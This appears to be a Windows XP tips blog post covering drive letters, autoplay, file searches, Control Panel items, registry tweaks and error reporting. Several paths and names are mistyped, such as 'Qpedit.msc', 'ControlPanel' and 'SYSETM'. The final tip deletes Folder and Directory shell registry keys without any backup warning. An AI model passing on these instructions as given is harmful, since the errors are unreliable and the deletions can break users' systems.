<o:p></o:p></span></p><div style="text-align: justify;"> </div><span style="">You can do this from the Device Manager. <o:p></o:p></span><br /><span style="">Open up the CD ROM section <o:p></o:p></span><br /><span style="">Open the CD ROM you want to change</span><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);font-size:100%;" >Under Settings, change the Start Drive Letter to higher in the alphabet.</span></p><div style="text-align: justify;"><span style="font-weight: bold;font-size:100%;" >Bored of autoplay CDs?<br /></span><span style="font-size:100%;">That autoplay CDs can be really annoying sometimes. If you thing so, than turn of that option.If you are on Windows XP:<br />Start>Run</span><br />type Qpedit.msc<br />Computer config<br />Administrative template<br />System<br />Double click on - "Turn off autoplay"<br /><span style="color: rgb(51, 51, 51);">Enable<br /></span><span style="color: rgb(51, 51, 51);">If you change your mind sometimes, just do Disable on end of this instead Enable.<br /></span><span style="font-weight: bold;"></span><b><span style="color: rgb(51, 51, 51);">Searching for Files In All Drives<br /></span></b><span style="">If you want to search for files across all drives, including mapped network drives:</span><span style="color: rgb(51, 51, 51);"><br />Press F3 to start the search<br /></span><span style="color: rgb(51, 51, 51);">In the <i>Named</i> box, enter file or folder you want to search for</span><span style="color: rgb(51, 51, 51);"><br />In <i>Look in </i>select <i>My Computer</i><br /></span><span style="color: rgb(51, 51, 51);">This will search all drives including mapped network drives. Easier than using the comma's.<br /></span><span style="font-weight: bold;">Saving File Searches<br /></span>If you want to review the results of a file search at a later time:<br /><span style="color: rgb(51, 51, 51);">While on the Desktop or with the Explorer, press F3 to start the search<br /></span><span style="color: rgb(51, 51, 51);">Click <i>Options / Save Results</i><br /></span><span style="color: rgb(51, 51, 51);">Do the search<br /></span><span style="color: rgb(51, 51, 51);">After the search select File / Save Search<br /></span><span style="color: rgb(51, 51, 51);">An icon will be placed on the desktop with the search results.</span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><!--[if !supportLists]--></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><!--[if !supportEmptyParas]--> <!--[endif]--><o:p></o:p></span></p><div style="text-align: justify;"><span style="font-weight: bold;">Removing Programs from the Control Panel</span><br /></div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">Easier way to remove control panel programs. <o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><span style="">1.Edit your <em>control.ini </em>file in your Windows directory. <o:p></o:p></span><br /><span style="">2.Under the section [don't load] add the appropriate .cpl file. <o:p></o:p></span><br /><span style="">3.For example to get rid of Network add <em>netcpl.cpl=no</em> <o:p></o:p></span><br /><span style="">4.This will disable users from accessing the network control panel.</span><br /><span style="">5.You can remove seected icons in your Control Panel by simply moving, deleting or renaming the *.cpl file in your <em>C:\WINDOWS\SYSETM</em> directory. <o:p></o:p></span><br /><span style="">6.The icon or file will still work even if it is not on the control panel screen.</span><br /><span style="color: rgb(51, 51, 51);">7.At list of the CPL files can be found in this section at <a href="file:///G:/computertips/MiscellaneousTips.html#controlpanel"><span style="color: rgb(51, 51, 51);">Control Panel CPL Files</span></a><o:p></o:p></span><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">Easier double click on your computer<br /></span>For mouse double click you have to click 2 times in imaginary 4x4 pixel field. If that's problem for you, you can make that field bigger.<br />Go to Registry.<br />HKEY_CURRENT_USER\ControlPanel\Desktop<br /><span style="color: rgb(51, 51, 51);">In right window, you will find DoubleClickWidth and DoubleClickHeigh. Both have values. Just change that values to some bigger.</span></div><div style="text-align: justify;"><span style="font-weight: bold;">Rename photos in Windows XP<br /></span>You have a lots of photos in some folder on your computer, all have numbers-names, and you want to name them like Holliday1.jpg, Holliday2.jpg, ... Don't need to do that one by one. You can do that automatically with this little trick.<br />Open that folder and chose View - Thumbnails<br />Left click on any picture and CTRL + A. That way you will select all files in that folder.<br />Right click on first pic and chose "Rename" from drop-down menu.<br /><span style="color: rgb(51, 51, 51);">Windows XP will highlight name of that file and you will be able to name it. After filling the name, click somewhere outside, in white space. You're done. If you named firs file "Anything" all selected files will get names "Anything1", "Anything2", "Anything3", and so on.<br /></span><span style="font-weight: bold;">Add your name to the right bottom corner of your computer window.<br /></span>For Microsoft Windows XP.<br />Go to: Start>Control Panel>Regional and Language Options.<br />Click the Customize button.<br />Select Time tag.<br />Highlight AM and <i>type the name you want to display</i> . Repeat with PM.<br /><span style="color: rgb(51, 51, 51);">click apply and than ok.......<o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">Get rid of the annoying Microsoft error reports<br /></span>This error report sending message can become quite annoying at times,it keeps on bugging the user.Not to worry about.There is a simple way to get rid of it:<br />1.Go to Start->Control panel.<br />2.Go to system.Now go to the Advanced tab.<br />3.Under the advanced tab,at the bottom click on 'Error reporting'.Now click on 'Disable error reporting'.<br /><span style="color: rgb(51, 51, 51);">You are done.You will not receive the error sending report anymore...........</span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="color: rgb(51, 51, 51);"><br /></span><span style="font-weight: bold;">DISABLING THE RIGHT CLICK ON START MENU</span><span style="color: rgb(51, 51, 51);"><o:p></o:p></span></div><div style="text-align: justify;">Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find.<br />In situations where you don't want to allow users to be able to do this in order to secure your computer.<br />1.Open RegEdit<br />2.Search for Desktop<br />3.This should bring you to HKEY_CLASSES_ROOT\Directory<br />4.Expand this section<br />5.Under Shell is Find<br />6.Delete Find<br />7.Move down a little in the Registry to Folder<br />8.Expand this section and remove Explore and Open<br />Now when you right click on the Start button, nothing should happen.<br />You can delete only those items that you need.<br />Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F<br />(for Find) keys.<br /><span style="color: rgb(51, 51, 51);">See the section on Installation in the RESKIT to see how to do this automatically during an install.<span style="color: rgb(51, 51, 51);"></span></span><span style=""><br /><span style=""> </span><o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0